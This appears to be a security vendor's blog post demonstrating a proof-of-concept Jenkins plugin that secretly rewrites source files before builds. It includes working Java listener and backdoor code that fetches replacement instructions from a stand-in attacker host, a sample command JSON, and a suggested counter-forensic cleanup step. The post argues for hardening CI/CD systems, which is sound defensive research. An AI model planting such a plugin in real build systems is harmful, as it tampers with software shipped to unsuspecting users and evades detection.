Software Integrity Blog

 

Reflections on trusting plugins: Backdooring Jenkins builds

In this post we explore how an attacker who has compromised a Jenkins instance can backdoor software built with it and what security measures are critical to ensure protection against attacks.

Jenkins backdoor | Synopsys

 

When I first joined Synopsys, one of my colleagues posed an interesting question in one of our chat channels: how would one go about backdooring Maven builds in Jenkins? I found this intriguing but didn’t have much time to pursue it.

For the uninitiated, Jenkins is the most popular automation tool for building, testing, and deploying software in CI/CD. It is open source and used by many companies, large and small, to build their software.

Recent high-profile breaches have brought renewed attention to supply chain security, and I decided to revisit the question and develop a proof-of-concept Jenkins plugin that can add an attacker’s modifications to source code before it is built—no commits to the upstream source repository needed.

Before I proceed to the code, a few points:

  • First, this approach assumes an attacker has sufficient privileges on a Jenkins instance to install plugins, and that they will not be noticed by the victim in time. But this is much more likely than you might at first assume.
    On internal pen tests, Synopsys often finds that Jenkins instances lack fine-grained authorization, running in modes like “Logged-in users can do anything” or occasionally even “Anyone can do anything.” Even when fine-grained authorization is used, it’s fairly commonplace that Jenkins instances are vulnerable to privilege escalations. Plus, credentials to access Jenkins are often relatively easy to come by.
    And so far, I haven’t seen much evidence of organizations closely monitoring plugin installs (though perhaps they should). In fact, I’ve found that systems like Jenkins and other development-related tools/infrastructure are often under-hardened, under-patched, and under-monitored in general.
  • Second, I want to make clear that this has nothing to do with any defect or vulnerability in Jenkins. The technique shown here uses legitimate functionality that is and should be exposed to plugins.
  • Finally, this is a proof-of-concept to show the relative ease of subverting a build system like Jenkins this way, highlighting why it’s so important to secure them. It should go without saying that it’s risky to carry out an attack like this during pen testing or red teaming, and it should be done only with great caution. (Plus, there are often quicker wins to be had from Jenkins, e.g., by obtaining credentials used for deployment). The code presented here is a quick-and-dirty without much mind paid to corner cases, caching, etc.

Building the backdoor

Now for the technical details.

Jenkins provides a variety of extension points which function as lifecycle modifiers for plugins. Two that seem relevant here are WorkspaceListener and SCMListener. The former’s beforeUse() method will allow us to manipulate workspaces before builds occur and the latter’s onCheckout() method will allow us to manipulate workspaces after code is pulled from source repositories (but again, before builds).

We can briefly observe how this works by examining the source of AbstractBuild.AbstractBuildExecution’s run() method:

Before the build is actually run (line 504), beforeUse() is called on registered WorkspaceListener instances (line 495). And checkout() (line 499) calls defaultCheckout() which, in turn, calls onCheckout() on registered SCMListener instances if the checkout succeeds.

By registering instances of both, we can be flexible about projects covered: those that do not use any SCM will be covered by WorkspaceListener, whereas for those that do, SCMListener is necessary since any changes made with the WorkspaceListener will be wiped out by the checkout.

With that, we can create a couple of simple listeners:

@Extension
public class WorkspaceBackdoorerListener extends WorkspaceListener {
    @Override
    public void beforeUse(AbstractBuild b, FilePath workspace, BuildListener listener) {
        Backdoorer.backdoorFiles(b, workspace);
    }
}
@Extension
public class WorkspaceBackdoorerSCMListener extends SCMListener {
    @Override
    public void onCheckout(Run build, SCM scm, FilePath workspace, TaskListener listener, File changelogFile,
                           SCMRevisionState pollingBaseline) throws Exception {
        Backdoorer.backdoorFiles((AbstractBuild) build, workspace);
    }
}

How to go about modifying the files depends on stealth requirements, how often the targeted file or files change, etc. In the following example, the plugin requests a remote JSON file containing an array with:

  • The Jenkins project to be targeted
  • A glob pattern to narrow the list of files checked later
  • The filename and MD5 digest of the file to be replaced
  • The new contents to write to the file
public class Backdoorer {
    private static final String cmdUrl = "https://attacker.com/command.json";

    protected static void backdoorFiles(AbstractBuild b, FilePath workspace) {
        String projUrl = b.getProject().getUrl();

		 HttpResponse<JsonNode> response = Unirest.get(cmdUrl).asJson();
        JsonNode resp = response.getBody();

        for(Object project : resp.getArray()) {
            JSONObject p = (JSONObject) project;

            if(p.getString("projUrl").equals(projUrl)) {
                String pattern = p.getString("searchPattern");

                try {
                    FilePath[] workspaceFiles = workspace.list(pattern);

                    for(Object replacement : p.getJSONArray("replacements")) {
                        JSONObject r = (JSONObject) replacement;
                        String filename = r.getString("filename");
                        String digest = r.getString("digest");
                        String newContents = r.getString("newContents");

                        Arrays.stream(workspaceFiles).filter(f -> f.getName().equals(filename)).forEach(f -> {
                            try {
                                if(f.digest().equals(digest)) {
                                    f.write(newContents, null);
                                }
                            } catch (IOException | InterruptedException e) {
                                e.printStackTrace();
                            }
                        });
                    }

                } catch (IOException | InterruptedException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

The code is pretty straightforward (and lacks caching) but notice that the file operations use Jenkins’ own FilePath class rather than Java’s native File class. The former will transparently handle files located on remote build agents.

The modified file will remain in the workspace after the build has completed. As a counter-forensic measure, one may want to revert it to its original state; I have not tried to implement this, but looking at Jenkins’s extension points it looks as though a viable approach would be to create a BuildStepListener with a finished() method that checks whether its BuildStep argument is an instance of Notifier.

Example

Let’s consider the following extremely basic freestyle project, which simply pulls and builds a sample Maven project:

We can see from the source code that the built main class should just print “Hello world.“ So we’ll craft a JSON file to instruct the plugin how to modify this file:

[
    {
        "projUrl": "job/Test/",
        "searchPattern": "**",
        "replacements": [
            {
                "filename": "App.java",
                "digest": "3efe91774afb84a68f0d81ee3610510f",
                "newContents": "package com.github.jitpack;\r\n\r\n\/**\r\n * Hello world!\r\n *\r\n *\/\r\npublic class App\r\n{\r\n    public static void main(String[] args)\r\n    {\r\n        System.out.println(new App().greet(\"world\"));\r\n    }\r\n\r\n    public String greet(String name) {\r\n        return \"You've been backdoored, \" + name;\r\n    }\r\n}"
            }
        ]
    }
]

And serve it:

So when we run the build, we see that it’s pulling the source code from Git…

…but when we run the built version, we see that it’s been modified:

Why securing development infrastructure is important

Hopefully this gives a taste of the relative simplicity of turning a compromised Jenkins instance against its owners. And it goes far beyond “just” backdooring code: Jenkins and similar systems are often full of credentials to other systems, including production on-premise Active Directory environments, cloud environments, Kubernetes environments, etc. Distributed build agents can allow lateral movement into other network segments. And of course, source code and built artifacts that are, by nature, accessible to these systems can constitute valuable IP that should not be leaked.

All these possibilities—many of which don’t need the high privilege levels shown in this example—make Jenkins instances, CI/CD systems in general, and “development infrastructure” overall appealing targets for attackers. Hence, they must be subject to robust patch management, access control, and configuration management measures; security assessments performed by an organization or its vendors should be sure to cover these systems to evaluate the controls in place.

Subscribe to the blog for more information on application security